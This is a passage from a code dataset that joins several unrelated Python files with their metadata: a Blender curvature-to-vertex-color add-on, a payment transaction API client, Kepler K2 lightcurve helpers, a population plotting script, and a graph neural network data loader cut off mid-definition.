Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\nbl_info = {\n \"name\": \"Curvature to vertex colors\",\n \"category\": \"Object\",\n \"description\": \"Set object vertex colors according to mesh curvature\",\n \"author\": \"Tommi Hyppänen (ambi)\",\n \"location\": \"3D View > Object menu > Curvature to vertex colors\",\n \"version\": (0, 1, 7),\n \"blender\": (2, 79, 0)\n}\n\nimport bpy\nimport random\nfrom collections import defaultdict\nimport mathutils\nimport math\nimport numpy as np\nimport cProfile, pstats, io\n\n\ndef read_verts(mesh):\n mverts_co = np.zeros((len(mesh.vertices)*3), dtype=np.float)\n mesh.vertices.foreach_get(\"co\", mverts_co)\n return np.reshape(mverts_co, (len(mesh.vertices), 3)) \n\n\ndef read_edges(mesh):\n fastedges = np.zeros((len(mesh.edges)*2), dtype=np.int) # [0.0, 0.0] * len(mesh.edges)\n mesh.edges.foreach_get(\"vertices\", fastedges)\n return np.reshape(fastedges, (len(mesh.edges), 2))\n\n\ndef read_norms(mesh):\n mverts_no = np.zeros((len(mesh.vertices)*3), dtype=np.float)\n mesh.vertices.foreach_get(\"normal\", mverts_no)\n return np.reshape(mverts_no, (len(mesh.vertices), 3))\n\n\ndef safe_bincount(data, weights, dts, conn):\n bc = np.bincount(data, weights)\n dts[:len(bc)] += bc\n bc = np.bincount(data)\n conn[:len(bc)] += bc\n return (dts, conn)\n\n\nclass CurvatureOperator(bpy.types.Operator):\n \"\"\"Curvature to vertex colors\"\"\"\n bl_idname = \"object.vertex_colors_curve\"\n bl_label = \"Curvature to vertex colors\"\n bl_options = {'REGISTER', 'UNDO'}\n\n typesel = bpy.props.EnumProperty(\n items=[\n (\"RED\", \"Red/Green\", \"\", 1),\n (\"GREY\", \"Grayscale\", \"\", 2),\n (\"GREYC\", \"Grayscale combined\", \"\", 3),\n ],\n name=\"Output style\",\n default=\"RED\")\n \n concavity = bpy.props.BoolProperty(\n name=\"Concavity\",\n default=True,\n options={'HIDDEN'})\n convexity = bpy.props.BoolProperty(\n name=\"Convexity\",\n default=True,\n options={'HIDDEN'})\n \n def curveUpdate(self, context):\n if self.curvesel == \"CAVITY\":\n self.concavity = True\n self.convexity = False\n if self.curvesel == \"VEXITY\":\n self.concavity = False\n self.convexity = True\n if self.curvesel == \"BOTH\":\n self.concavity = True\n self.convexity = True\n \n curvesel = bpy.props.EnumProperty(\n items=[\n (\"CAVITY\", \"Concave\", \"\", 1),\n (\"VEXITY\", \"Convex\", \"\", 2),\n (\"BOTH\", \"Both\", \"\", 3),\n ],\n name=\"Curvature type\",\n default=\"BOTH\",\n update=curveUpdate)\n \n intensity_multiplier = bpy.props.FloatProperty(\n name=\"Intensity Multiplier\",\n min=0.0,\n default=1.0)\n \n smooth = bpy.props.IntProperty(\n name=\"Smoothing steps\",\n min=0,\n max=200,\n default=2)\n\n invert = bpy.props.BoolProperty(\n name=\"Invert\",\n default=False)\n\n @classmethod\n def poll(cls, context):\n ob = context.active_object\n return ob is not None and ob.mode == 'OBJECT'\n\n def set_colors(self, mesh, fvals):\n # Use 'curvature' vertex color entry for results\n if \"Curvature\" not in mesh.vertex_colors:\n mesh.vertex_colors.new(name=\"Curvature\")\n \n color_layer = mesh.vertex_colors['Curvature']\n mesh.vertex_colors[\"Curvature\"].active = True\n\n retvalues = []\n \n if self.typesel == \"GREY\":\n splitter = fvals>0.5\n a_part = splitter * (fvals*2-1)*self.concavity\n b_part = np.logical_not(splitter) * (1-fvals*2)*self.convexity\n fvals = a_part + b_part\n fvals *= self.intensity_multiplier\n if self.invert:\n fvals = 1.0 - fvals\n \n retvalues = np.ones((len(fvals), 4))\n retvalues[:,0] = fvals\n retvalues[:,1] = fvals\n retvalues[:,2] = fvals\n \n if self.typesel == \"GREYC\":\n if not self.convexity:\n fvals = np.where(fvals<0.5, 0.5, fvals)\n if not self.concavity:\n fvals = np.where(fvals>0.5, 0.5, fvals)\n if not self.invert:\n fvals = 1.0 - fvals\n fvals = (fvals-0.5)*self.intensity_multiplier+0.5\n retvalues = np.ones((len(fvals), 4))\n retvalues[:,0] = fvals\n retvalues[:,1] = fvals\n retvalues[:,2] = fvals\n \n if self.typesel == \"RED\":\n splitter = fvals>0.5\n a_part = splitter * (fvals*2-1)*self.concavity\n b_part = np.logical_not(splitter) * (1-fvals*2)*self.convexity\n retvalues = np.ones((len(fvals), 4))\n if self.invert:\n retvalues[:,0] = 1.0 - a_part * self.intensity_multiplier\n retvalues[:,1] = 1.0 - b_part * self.intensity_multiplier\n else:\n retvalues[:,0] = a_part * self.intensity_multiplier\n retvalues[:,1] = b_part * self.intensity_multiplier \n retvalues[:,2] = np.zeros((len(fvals)))\n\n # write vertex colors\n mloops = np.zeros((len(mesh.loops)), dtype=np.int)\n mesh.loops.foreach_get(\"vertex_index\", mloops)\n color_layer.data.foreach_set(\"color\", retvalues[mloops].flatten())\n \n return None\n\n\n def calc_normals(self, mesh, fastverts, fastnorms, fastedges):\n # FIXME: FAILS AT INVALID INPUT MESH\n # If there are any loose or disconnected vertices or edges, the output will be black\n # HOWTO cleanup:\n # 1. Remove doubles\n # 2. Delete loose\n\n edge_a, edge_b = fastedges[:,0], fastedges[:,1]\n \n tvec = fastverts[edge_b] - fastverts[edge_a]\n tvlen = np.linalg.norm(tvec, axis=1) \n\n tvec = (tvec.T / tvlen).T # normalize vectors\n\n # adjust the minimum of what is processed \n edgelength = tvlen * 100 \n edgelength = np.where(edgelength<1, 1.0, edgelength)\n\n vecsums = np.zeros(fastverts.shape[0], dtype=np.float) \n connections = np.zeros(fastverts.shape[0], dtype=np.float) \n\n # calculate normal differences to the edge vector in the first edge vertex\n totdot = (np.einsum('ij,ij->i', tvec, fastnorms[edge_a]))/edgelength\n #for i, v in enumerate(edge_a):\n # vecsums[v] += totdot[i]\n # connections[v] += 1\n safe_bincount(edge_a, totdot, vecsums, connections)\n\n # calculate normal differences to the edge vector in the second edge vertex\n totdot = (np.einsum('ij,ij->i', -tvec, fastnorms[edge_b]))/edgelength\n safe_bincount(edge_b, totdot, vecsums, connections)\n\n # (approximate gaussian) curvature is the average difference of \n # edge vectors to surface normals (from dot procuct cosine equation)\n curve = 1.0 - np.arccos(vecsums/connections)/np.pi\n\n # 1 = max curvature, 0 = min curvature, 0.5 = zero curvature\n curve -= 0.5\n curve /= np.max([np.amax(curve), np.abs(np.amin(curve))])\n curve += 0.5\n return curve\n \n def mesh_smooth_filter_variable(self, mesh, data, fastverts, fastedges):\n # vert indices of edges\n edge_a, edge_b = fastedges[:,0], fastedges[:,1]\n tvlen = np.linalg.norm(fastverts[edge_b] - fastverts[edge_a], axis=1)\n edgelength = np.where(tvlen<1, 1.0, tvlen)\n\n data_sums = np.zeros(fastverts.shape[0], dtype=np.float) \n connections = np.zeros(fastverts.shape[0], dtype=np.float) \n\n # longer the edge distance to datapoint, less it has influence\n\n # step 1\n per_vert = data[edge_b]/edgelength\n safe_bincount(edge_a, per_vert, data_sums, connections)\n eb_smooth = data_sums/connections\n \n per_vert = eb_smooth[edge_a]/edgelength\n safe_bincount(edge_b, per_vert, data_sums, connections)\n\n new_data = data_sums/connections\n\n # step 2\n data_sums = np.zeros(data_sums.shape)\n connections = np.zeros(connections.shape)\n\n per_vert = data[edge_a]/edgelength\n safe_bincount(edge_b, per_vert, data_sums, connections)\n ea_smooth = data_sums/connections\n \n per_vert = ea_smooth[edge_b]/edgelength\n safe_bincount(edge_a, per_vert, data_sums, connections)\n\n new_data += data_sums/connections\n\n # limit between -1 and 1\n new_data /= np.max([np.amax(new_data), np.abs(np.amin(new_data))])\n\n return new_data\n\n\n def execute(self, context): \n mesh = context.active_object.data\n fastverts = read_verts(mesh)\n fastedges = read_edges(mesh)\n fastnorms = read_norms(mesh) \n\n angvalues = self.calc_normals(mesh, fastverts, fastnorms, fastedges)\n if self.smooth > 0:\n angvalues -= 0.5\n angvalues *= 2.0\n for _ in range(self.smooth):\n angvalues = self.mesh_smooth_filter_variable(mesh, angvalues, fastverts, fastedges)\n angvalues /= 2.0\n angvalues += 0.5\n \n self.set_colors(mesh, angvalues) \n \n return {'FINISHED'}\n\ndef add_object_button(self, context): \n self.layout.operator( \n CurvatureOperator.bl_idname, \n text=CurvatureOperator.__doc__, \n icon='MESH_DATA') \n\ndef register():\n bpy.utils.register_class(CurvatureOperator)\n bpy.types.VIEW3D_MT_object.append(add_object_button) \n\ndef unregister():\n bpy.utils.unregister_class(CurvatureOperator)\n bpy.types.VIEW3D_MT_object.remove(add_object_button)\n\ndef profile_debug():\n pr = cProfile.Profile()\n pr.enable()\n bpy.ops.object.vertex_colors_curve()\n pr.disable()\n s = io.StringIO()\n sortby = 'cumulative'\n ps = pstats.Stats(pr, stream=s)\n ps.strip_dirs().sort_stats(sortby).print_stats()\n print(s.getvalue())\n\nif __name__ == \"__main__\":\n #unregister()\n register()\n #profile_debug()\n\n", "sub_path": "mesh_curves.py", "file_name": "mesh_curves.py", "file_ext": "py", "file_size_in_byte": 10846, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 61, "usage_type": "call"}, {"api_name": "bpy.types", "line_number": 66, "usage_type": "attribute"}, {"api_name": "bpy.props.EnumProperty", "line_number": 72, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 72, "usage_type": "attribute"}, {"api_name": "bpy.props.BoolProperty", "line_number": 81, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 81, "usage_type": "attribute"}, {"api_name": "bpy.props.BoolProperty", "line_number": 85, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 85, "usage_type": "attribute"}, {"api_name": "bpy.props.EnumProperty", "line_number": 101, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 101, "usage_type": "attribute"}, {"api_name": "bpy.props.FloatProperty", "line_number": 111, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 111, "usage_type": "attribute"}, {"api_name": "bpy.props.IntProperty", "line_number": 116, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 116, "usage_type": "attribute"}, {"api_name": "bpy.props.BoolProperty", "line_number": 122, "usage_type": "call"}, {"api_name": "bpy.props", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.logical_not", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 182, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 199, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 207, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 208, "usage_type": "attribute"}, {"api_name": "numpy.einsum", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.einsum", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 223, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 234, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 237, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 238, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 266, "usage_type": "call"}, {"api_name": "bpy.utils.register_class", "line_number": 297, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 297, "usage_type": "attribute"}, {"api_name": "bpy.types.VIEW3D_MT_object.append", "line_number": 298, "usage_type": "call"}, {"api_name": "bpy.types", "line_number": 298, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 301, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 301, "usage_type": "attribute"}, {"api_name": "bpy.types.VIEW3D_MT_object.remove", "line_number": 302, "usage_type": "call"}, {"api_name": "bpy.types", "line_number": 302, "usage_type": "attribute"}, {"api_name": "cProfile.Profile", "line_number": 305, "usage_type": "call"}, {"api_name": "bpy.ops.object.vertex_colors_curve", "line_number": 307, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 307, "usage_type": "attribute"}, {"api_name": "io.StringIO", "line_number": 309, "usage_type": "call"}, {"api_name": "pstats.Stats", "line_number": 311, "usage_type": "call"}]} +{"seq_id": "635934886", "text": "from ..core.constants import (\n TRANS_APPROVED,\n TRANS_TYPE_AUTH,\n TRANS_TYPE_CANCEL_AUTH,\n # TRANS_TYPE_CHARGE,\n # TRANS_TYPE_AUTH_AND_CHARGE,\n TRANS_TYPE_AUTH_AND_CHARGE_TIMEOUT_REVERSAL,\n TRANS_TYPE_RETURN_CREDIT,\n TRANS_TYPE_VOID_SALE,\n TRANS_TYPE_VOID_RETURN,\n)\nfrom wellsfargo.core.exceptions import TransactionDenied\nfrom ..models import APIMerchantNum, FinancingPlan, TransferMetadata\nfrom ..utils import as_decimal\nfrom .client import WFRSGatewayAPIClient\nimport uuid\n\n\nclass TransactionsAPIClient(WFRSGatewayAPIClient):\n def __init__(self, current_user=None):\n self.current_user = current_user\n\n def submit_transaction(self, trans_request, transaction_uuid=None, persist=True):\n api_path = self.get_api_path(trans_request)\n creds = APIMerchantNum.get_for_user(self.current_user)\n # Submit transaction to WFRS\n trans_request_data = {\n \"locale\": trans_request.locale,\n \"authorization_number\": trans_request.auth_number,\n \"account_number\": trans_request.account_number,\n \"plan_number\": str(trans_request.plan_number),\n \"amount\": str(trans_request.amount),\n \"ticket_number\": trans_request.ticket_number,\n \"merchant_number\": creds.merchant_num,\n }\n if transaction_uuid is None:\n transaction_uuid = uuid.uuid4()\n resp = self.api_post(\n api_path, client_request_id=transaction_uuid, json=trans_request_data\n )\n resp.raise_for_status()\n resp_data = resp.json()\n # Find the related plan\n plan_number = resp_data.get(\"plan_number\", trans_request.plan_number)\n plan, _ = FinancingPlan.objects.get_or_create(plan_number=plan_number)\n # Persist transaction data and WF specific metadata\n transfer = TransferMetadata()\n transfer.user = trans_request.user\n transfer.merchant_name = creds.name\n transfer.merchant_num = creds.merchant_num\n transfer.account_number = resp_data.get(\n \"account_number\", trans_request.account_number\n )\n transfer.merchant_reference = transaction_uuid\n transfer.amount = as_decimal(resp_data.get(\"amount\", trans_request.amount))\n transfer.type_code = trans_request.type_code\n transfer.ticket_number = resp_data.get(\n \"ticket_number\", trans_request.ticket_number\n )\n transfer.financing_plan = plan\n transfer.auth_number = resp_data.get(\n \"authorization_number\", trans_request.auth_number\n )\n transfer.status = resp_data[\"transaction_status\"]\n transfer.message = resp_data.get(\"status_message\", \"\")\n transfer.disclosure = resp_data.get(\"disclosure\", \"\")\n if persist:\n transfer.save()\n # Check for approval\n if transfer.status != TRANS_APPROVED:\n exc = TransactionDenied(\"%s: %s\" % (transfer.status, transfer.message))\n exc.status = transfer.status\n raise exc\n # Return the transfer metadata\n return transfer\n\n def get_api_path(self, trans_request):\n actions = {\n TRANS_TYPE_AUTH: \"authorization\",\n TRANS_TYPE_CANCEL_AUTH: \"cancel-authorization\",\n # TRANS_TYPE_CHARGE: 'charge',\n # TRANS_TYPE_AUTH_AND_CHARGE: 'authorization-charge',\n TRANS_TYPE_AUTH_AND_CHARGE_TIMEOUT_REVERSAL: \"timeout-authorization-charge\",\n TRANS_TYPE_RETURN_CREDIT: \"return\",\n TRANS_TYPE_VOID_SALE: \"void-sale\",\n TRANS_TYPE_VOID_RETURN: \"void-return\",\n }\n action = actions.get(trans_request.type_code)\n if action is None:\n raise ValueError(\"Unexpected transaction type: %s\" % action)\n api_path = \"/credit-cards/private-label/new-accounts/v2/payment/transactions/{action}\".format(\n action=action\n )\n return api_path\n", "sub_path": "src/wellsfargo/connector/transactions.py", "file_name": "transactions.py", "file_ext": "py", "file_size_in_byte": 3936, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "client.WFRSGatewayAPIClient", "line_number": 19, "usage_type": "name"}, {"api_name": "models.APIMerchantNum.get_for_user", "line_number": 25, "usage_type": "call"}, {"api_name": "models.APIMerchantNum", "line_number": 25, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 37, "usage_type": "call"}, {"api_name": "models.FinancingPlan.objects.get_or_create", "line_number": 45, "usage_type": "call"}, {"api_name": "models.FinancingPlan.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.FinancingPlan", "line_number": 45, "usage_type": "name"}, {"api_name": "models.TransferMetadata", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.as_decimal", "line_number": 55, "usage_type": "call"}, {"api_name": "core.constants.TRANS_APPROVED", "line_number": 70, "usage_type": "name"}, {"api_name": "wellsfargo.core.exceptions.TransactionDenied", "line_number": 71, "usage_type": "call"}, {"api_name": "core.constants.TRANS_TYPE_AUTH", "line_number": 79, "usage_type": "name"}, {"api_name": "core.constants.TRANS_TYPE_CANCEL_AUTH", "line_number": 80, "usage_type": "name"}, {"api_name": "core.constants.TRANS_TYPE_AUTH_AND_CHARGE_TIMEOUT_REVERSAL", "line_number": 83, "usage_type": "name"}, {"api_name": "core.constants.TRANS_TYPE_RETURN_CREDIT", "line_number": 84, "usage_type": "name"}, {"api_name": "core.constants.TRANS_TYPE_VOID_SALE", "line_number": 85, "usage_type": "name"}, {"api_name": "core.constants.TRANS_TYPE_VOID_RETURN", "line_number": 86, "usage_type": "name"}]} +{"seq_id": "154005726", "text": "import lightkurve as lk\nfrom lightkurve.lightcurve import KeplerLightCurve\nimport os\nfrom typing import Union, List, Callable, Any\n\n\ndef getK2Ids() -> List[int]:\n \"\"\"Retrieves all the Ids\n \n :returns: A list containing all the certified K2 Ids.\n \"\"\"\n with open(\"data/k2_ids.txt\") as ids_file:\n ids = list(map(int, ids_file.readlines()))\n return ids\n\n\ndef getK2Id(index: int = 0) -> int:\n \"\"\"\n :param index: Literally the index you want from the K2 Ids List\n :returns: K2 Id as an Integer\n \"\"\"\n return getK2Ids()[index]\n\n\ndef retrieveK2LightCurve(k2Id: Union[int, str, float]) -> KeplerLightCurve:\n \"\"\"\n :param k2Id: The K2 Id, as an Integer, String or Float\n :returns: A KeplerLightCurve object\n \"\"\"\n k2Id = int(k2Id)\n search_result: lk.SearchResult = lk.search_lightcurve(f'EPIC {k2Id}', mission='K2')\n klc: KeplerLightCurve = search_result.download()\n klc.id = k2Id\n klc.filename = klc.meta[\"FILENAME\"]\n klc.delete = lambda self: os.remove(self.filename)\n return klc\n\n\ndef analyseK2LightCurve(k2Id: Union[int, str, float], func: Callable[[KeplerLightCurve], Any]) -> Any:\n \"\"\"\n :param k2Id: The K2 Id, as an Integer, String or Float\n :param func: The function to be ran, with the modified KeplerLightCurve as a parameter\n :return: Result of func\n \"\"\"\n klc = retrieveK2LightCurve(k2Id)\n result = func(klc)\n klc.delete()\n del klc\n return result\n\n\n__all__ = [\n \"retrieveK2LightCurve\", \"getK2Ids\", \"getK2Id\", \"analyseK2LightCurve\"\n]\n", "sub_path": "kepler/io/k2.py", "file_name": "k2.py", "file_ext": "py", "file_size_in_byte": 1537, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 25, "usage_type": "name"}, {"api_name": "lightkurve.SearchResult", "line_number": 31, "usage_type": "attribute"}, {"api_name": "lightkurve.search_lightcurve", "line_number": 31, "usage_type": "call"}, {"api_name": "lightkurve.lightcurve.KeplerLightCurve", "line_number": 32, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 35, "usage_type": "call"}, {"api_name": "lightkurve.lightcurve.KeplerLightCurve", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 39, "usage_type": "name"}, {"api_name": "lightkurve.lightcurve.KeplerLightCurve", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 39, "usage_type": "name"}]} +{"seq_id": "432129457", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ninfilename='/home/faiz/SS_2020/Ocean/exercies/03/output.txt'\noutfilename='/home/faiz/SS_2020/Ocean/exercies/03/output.png'\n\n#read labels from first line\nwith open(infilename) as f:\n dataLabels = f.readline().split(',')\n\n#clean labels (whitespace/tab/newline)\nfor s in dataLabels:\n s.lstrip().rstrip()\n\n#read data from row 2 onwoards\n#x[i,:] data i, i=0 is time,...\nx = np.loadtxt(infilename, delimiter=',', unpack=True,skiprows=1)\n\n#plot figure\nfig = plt.figure()\ndataLines=[]\nfor ii in range(1,x.shape[0]):\n lineIi, = plt.plot(x[0,:],x[ii,:], label=dataLabels[ii])\n dataLines.append(lineIi)\n\nplt.xlabel('time')\nplt.ylabel('populations')\nplt.legend(handles=dataLines, loc='best')\n#plt.show()\nfig.savefig(outfilename, bbox_inches='tight')\n\nfig.savefig(\"/home/faiz/SS_2020/Ocean/exercies/preditor-prey-best-example/pred-prey-chicken-fox.pdf\")", "sub_path": "exercies/03/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 904, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.loadtxt", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}]} +{"seq_id": "1900919", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import KFold\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\nimport torch.optim as optim\n\ndevice = torch.device(\"cuda:0\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\nclass Het_Node():\n def __init__(self, node_type, node_id, embed, neighbor_list_post = [], neighbor_list_user = [], label = None):\n self.node_type = node_type\n self.node_id = node_id\n self.emb = embed\n self.label = label #only post node, user node = default = None\n self.neighbors_user = neighbor_list_user #[(id)]\n self.neighbors_post = neighbor_list_post\n\ndef data_loader(pathway = 'F:/post_nodes/', node_type = \"post\"):\n if node_type == \"post\":\n post_node = []\n post_id = []\n post_label = []\n post_embed = []\n post_p_neigh = []\n post_u_neigh = []\n for i in range(19):\n print(i)\n batch = str(i)\n f = open(pathway + \"batch_\" + batch + '.txt')\n print(pathway + \"batch_\" + batch + '.txt')\n Lines = f.readlines() \n for j in range(len(Lines)):\n if j % 5 == 0:\n _, id_, label = Lines[j].split()\n post_id.append(int(id_))\n post_label.append(int(label))\n embed = []\n if j % 5 == 1 or j % 5 == 2:\n embed.append(list(map(float,Lines[j].split())))\n if j % 5 == 2:\n post_embed.append(embed)\n if j % 5 == 3:\n post_p_neigh.append(list(map(int,Lines[j].split())))\n if j % 5 == 4:\n post_u_neigh.append(list(map(int,Lines[j].split())))\n f.close()\n for i in range(len(post_id)):\n node = Het_Node(node_type = \"post\", node_id = post_id[i], embed = post_embed[i], neighbor_list_post = post_p_neigh[i], neighbor_list_user = post_u_neigh[i], label = post_label[i])\n post_node.append(node)\n return post_node\n \n else:\n user_node = []\n user_id = []\n user_embed = []\n f = open(pathway + 'user_nodes.txt')\n Lines = f.readlines() \n for j in range(len(Lines)):\n if j % 3 == 0:\n id_ = Lines[j].split()\n user_id.append(int(id_[0]))\n embed = []\n if j % 3 == 1 or j % 3 == 2:\n embed.append(list(map(float,Lines[j].split())))\n if j % 3 == 2:\n user_embed.append(embed)\n f.close()\n for i in range(len(user_id)):\n node = Het_Node(node_type = \"user\", node_id = user_id[i], embed = user_embed[i])\n user_node.append(node) \n return user_node\n\npost_nodes = data_loader(pathway='F:/FYP_data/normalized_post_nodes/', node_type=\"post\")\nuser_nodes = data_loader(pathway='F:/FYP_data/normalized_user_nodes/', node_type=\"user\")\npost_emb_dict = {}\nuser_emb_dict = {}\nfor user in user_nodes:\n user_emb_dict[user.node_id] = user.emb\nfor post in post_nodes:\n post_emb_dict[post.node_id] = post.emb\n\nclass Het_GNN(nn.Module):\n #features: list of HetNode class\n def __init__(self, input_dim, ini_hidden_dim, hidden_dim, batch_size,\n u_input_dim, u_hidden_dim, u_ini_hidden_dim, u_output_dim, u_num_layers,\n p_input_dim, p_hidden_dim, p_ini_hidden_dim, p_output_dim, p_num_layers,\n out_embed_d, outemb_d,\n u_batch_size = 1, p_batch_size = 1,content_dict={}, num_layers=1, u_rnn_type='LSTM', p_rnn_type='LSTM', rnn_type='LSTM', embed_d = 200):\n super(Het_GNN, self).__init__()\n self.input_dim = input_dim\n self.ini_hidden_dim = ini_hidden_dim\n self.hidden_dim = hidden_dim\n self.batch_size = batch_size\n self.num_layers = num_layers\n self.embed_d = embed_d\n self.u_input_dim = u_input_dim\n self.u_hidden_dim = u_hidden_dim\n self.u_ini_hidden_dim = u_ini_hidden_dim\n self.u_batch_size = u_batch_size\n self.u_output_dim = u_output_dim\n self.u_num_layers = u_num_layers\n self.u_rnn_type = u_rnn_type\n self.p_input_dim = p_input_dim\n self.p_hidden_dim = p_hidden_dim\n self.p_ini_hidden_dim = p_ini_hidden_dim\n self.p_batch_size = p_batch_size\n self.p_output_dim = p_output_dim\n self.p_num_layers = p_num_layers\n self.p_rnn_type = p_rnn_type\n self.out_embed_d = out_embed_d\n self.outemb_d = outemb_d\n #self.features = features\n self.content_dict = content_dict\n self.p_neigh_att = nn.Parameter(torch.ones(embed_d * 2, 1), requires_grad=True)\n self.u_neigh_att = nn.Parameter(torch.ones(embed_d * 2, 1), requires_grad=True)\n # Define the initial linear hidden layer\n self.init_linear_text = nn.Linear(self.input_dim[0], self.ini_hidden_dim[0])\n self.init_linear_image = nn.Linear(self.input_dim[1], self.ini_hidden_dim[1])\n self.init_linear_other = nn.Linear(self.input_dim[2], self.ini_hidden_dim[2])\n # Define the LSTM layer\n self.lstm_text = eval('nn.' + rnn_type)(self.ini_hidden_dim[0], self.hidden_dim, self.num_layers, batch_first=True,\n bidirectional=True)\n self.lstm_image = eval('nn.' + rnn_type)(self.ini_hidden_dim[1], self.hidden_dim, self.num_layers, batch_first=True,\n bidirectional=True)\n self.lstm_other = eval('nn.' + rnn_type)(self.ini_hidden_dim[2], self.hidden_dim, self.num_layers, batch_first=True,\n bidirectional=True)\n # Define same_type_agg\n self.u_init_linear = nn.Linear(self.u_input_dim, self.u_ini_hidden_dim)\n self.u_lstm = eval('nn.' + self.u_rnn_type)(self.u_ini_hidden_dim, self.u_hidden_dim, self.u_num_layers,\n batch_first=True, bidirectional=True)\n self.u_linear = nn.Linear(self.u_hidden_dim * 2, self.u_output_dim)\n self.u_dropout = nn.Dropout(p=0.5)\n self.p_init_linear = nn.Linear(self.p_input_dim, self.p_ini_hidden_dim)\n self.p_lstm = eval('nn.' + self.p_rnn_type)(self.p_ini_hidden_dim, self.p_hidden_dim, self.p_num_layers,\n batch_first=True, bidirectional=True)\n self.p_linear = nn.Linear(self.p_hidden_dim * 2, 